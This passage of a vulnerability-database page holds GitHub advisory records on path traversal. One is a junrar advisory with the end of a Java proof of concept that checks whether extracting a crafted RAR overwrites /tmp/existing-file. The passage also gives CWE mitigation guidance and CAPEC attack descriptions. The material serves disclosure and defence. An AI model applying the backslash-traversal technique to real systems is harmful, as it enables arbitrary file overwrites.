\"..\" components\n * bypasses the createFile() canonical path validation on Linux and writes\n * files outside the extraction directory via makeFile()\u0027s path reconstruction.\n */\npublic class BackslashTraversalPoC {\n\n static final String TARGET = \"/tmp/existing-file\";\n static final String ARCHIVE = \"malicious.rar\";\n\n public static void main(String[] args) throws Exception {\n File archive = new File(ARCHIVE);\n if (!archive.exists()) {\n archive = new File(new File(System.getProperty(\"user.dir\")).getParent(), ARCHIVE);\n }\n\n // Step 1: Verify the pre-existing file (created by poc_setup.sh)\n File target = new File(TARGET);\n if (!target.exists()) {\n System.out.println(\"ERROR: \" + TARGET + \" not found. Run poc_setup.sh first.\");\n System.exit(1);\n }\n\n System.out.println(\"Before extraction:\");\n System.out.println(\" \" + TARGET + \" =\u003e \" + Files.readString(Path.of(TARGET)).trim());\n System.out.println();\n\n // Step 2: Extract the malicious archive\n Path extractDir = Files.createTempDirectory(\"junrar-poc-\");\n System.out.println(\"Extracting \" + archive.getAbsolutePath() + \" into \" + extractDir + \" ...\");\n try {\n Junrar.extract(archive, extractDir.toFile());\n } catch (Exception e) {\n System.out.println(\"Extraction error (may be expected): \" + e.getMessage());\n }\n System.out.println();\n\n // Step 3: Show the result\n System.out.println(\"After extraction:\");\n String content = Files.readString(Path.of(TARGET)).trim();\n System.out.println(\" \" + TARGET + \" =\u003e \" + content);\n System.out.println();\n\n if (content.equals(\"Overwritten\")) {\n System.out.println(\"VULNERABLE: junrar 7.5.7 backslash traversal overwrote \" + TARGET);\n } else {\n System.out.println(\"NOT VULNERABLE: file contents unchanged\");\n }\n }\n}\n```",
"id": "GHSA-j273-m5qq-6825",
"modified": "2026-02-27T22:09:27Z",
"published": "2026-02-27T22:09:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/junrar/junrar/security/advisories/GHSA-j273-m5qq-6825"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28208"
},
{
"type": "WEB",
"url": "https://github.com/junrar/junrar/commit/947ff1d33f00f940aa68ae2593500291d799d954"
},
{
"type": "PACKAGE",
"url": "https://github.com/junrar/junrar"
},
{
"type": "WEB",
"url": "https://github.com/junrar/junrar/releases/tag/v7.5.8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Junrar has an arbitrary file write due to backslash Path Traversal bypass in LocalFolderExtractor on Linux/Unix"
}
GHSA-J27J-4W6M-8FC4
Vulnerability from github – Published: 2020-03-31 17:02 – Updated: 2020-08-31 18:54All versions of statics-server are vulnerable to Path Traversal. The package fails to limit access to files outside of the served folder through symlinks.
Recommendation
No fix is currently available. Do not use statics-server in production or consider using an alternative module until a fix is made available.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "statics-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-15596"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2020-03-31T15:38:57Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "All versions of `statics-server` are vulnerable to Path Traversal. The package fails to limit access to files outside of the served folder through symlinks.\n\n\n## Recommendation\n\nNo fix is currently available. Do not use `statics-server` in production or consider using an alternative module until a fix is made available.",
"id": "GHSA-j27j-4w6m-8fc4",
"modified": "2020-08-31T18:54:26Z",
"published": "2020-03-31T17:02:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15596"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/695416"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/1303"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Path Traversal in statics-server"
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.